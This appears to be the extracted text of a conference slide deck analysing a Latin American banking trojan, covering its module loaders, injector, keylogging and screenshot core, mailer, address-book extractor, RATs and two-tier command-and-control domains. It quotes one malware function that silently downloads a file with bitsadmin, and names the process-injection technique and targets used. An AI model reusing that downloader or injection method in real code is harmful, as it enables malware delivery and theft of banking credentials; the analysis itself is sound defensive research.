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Once upon a time...

“Drop your shovels. Those bastards 

are misusing our binary.”

stem1 = C:\\Program Files
stem2 = \\AVAST Software\\
stem3 = AVAST\\aswrundll.exe



PHP 

code







XSL

function Bxaki(url, file)
{

try
{
xxWshShell.run("bitsadmin /transfer msd5

/priority foreground "+url+" "
+file,0,true); 

return true;
}
catch (ex)

{
return false;

}
}
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Decrypting modules

99 4c 26 93 c9 64 b2 59 2c 16 8b 45 a2 51 28 14  |.L&.Éd²Y,..E¢Q(.|

0a 05 02 01 00 00 00 00 00 00 00 00 00 00 00 00  |................|

99 4c 26 93 c9 64 b2 59 2c 16 8b 45 a2 51 28 14  |.L&.Éd²Y,..E¢Q(.|

0a 05 02 01 00 00 00 00 00 00 00 00 00 00 00 00  |................|

99 4c 26 93 c9 64 b2 59 2c 16 8b 45 a2 51 28 14  |.L&.Éd²Y,..E¢Q(.|

0a 05 02 01 00 00 00 00 00 00 00 00 00 00 00 00  |................|

Stream cipher with a short period applied on zero-padded data



Rakpat0rpcack64



Modules’ C&C structure

• 2-tier architecture

• First-tier: responds with a second-tier C&C domain

• Second-tier: handle requests

• They seem to watch logs - tracker’s IP got banned twice :-(

• Common words in the first-tier domains

• sergulath, thelucifer, theastaroth, aventador, sisssnettt, valhala, ducas, megatronico

Cream of the hell’s 

society One hell of a car, 

I guess



Modules’ C&C structure

• 2-tier architecture

• First-tier: responds with a second-tier C&C domain

• Second-tier: handle requests

• They seem to watch logs - tracker’s IP got banned twice :-(

• Common words in the first-tier domains

• sergulath, thelucifer, theastaroth, aventador, sisssnettt, valhala, ducas, megatronico

• Common patterns for the second-tier domains
• Random third-level domain

• Mostly “readable” second-level domains, lifetime: several days

• Both notorious (.xyz) and ordinary (.de) TLDs





Modules 64, 98 (Loaders)

• 64 module prepares modules XA, XB

_lread

Old 16-bit kernel function



Module 64 (Loader)

Seems like Jodie didn’t like acting 

and got a new job instead.

Dang, did I miss another acquisition?





Module XA+XB (Injector)

• Injects the second injector module GX into one of the targeted files:

• userinit.exe

• unins000.exe (Gas Tecnologia protection tool, Warsaw)

• CreateProcess -> SetContext -> ResumeThread combo

• Core module watchdog (reinject if not found)







Module G (Core)

• Crawls through the infected computer to find banking app related files and windows

• Screenshotting

• Keylogging

• Keyboard hijacking

• Module injection

• Data exfiltration and configuration

• Strategy: find and dispatch





Module E (Mailer module loader)



Module E (Mailer module loader)

*.lig *.deslig





Module F (Mailer)

C&C

SMTP

T

SMTP

Infected PC





Module C (data extractor)

DBX, MBX - Outlook Express

WAB - Windows Address Book

TBB - TheBat!

EML - various clients

MBOX - Thunderbird, Apple Mail,..

.com

.br

.net

.in

.ar

C&C



Module C (data extractor)

CoreWindows





Gathers information from







Modules DWWN, DX (RATs)

• Gather information about running processes (partially passed on through files by module G)

• Extensive reporting, logging; creates own windows (one featuring browser)

• Strategy: get dispatched and exploit/attack





Module A,B (Password extractors)





Summary

• Multi-stage banker, featuring RAT/spyware/password stealer modules

• Spread by emails

• Programmed in Delphi

• Timers, lots of timers, duh!

• Somehow characteristic for bankers in Latin America

• 2-tiered C&C structure

• Authors (probably) demonology or black/death metal fans



Q&A


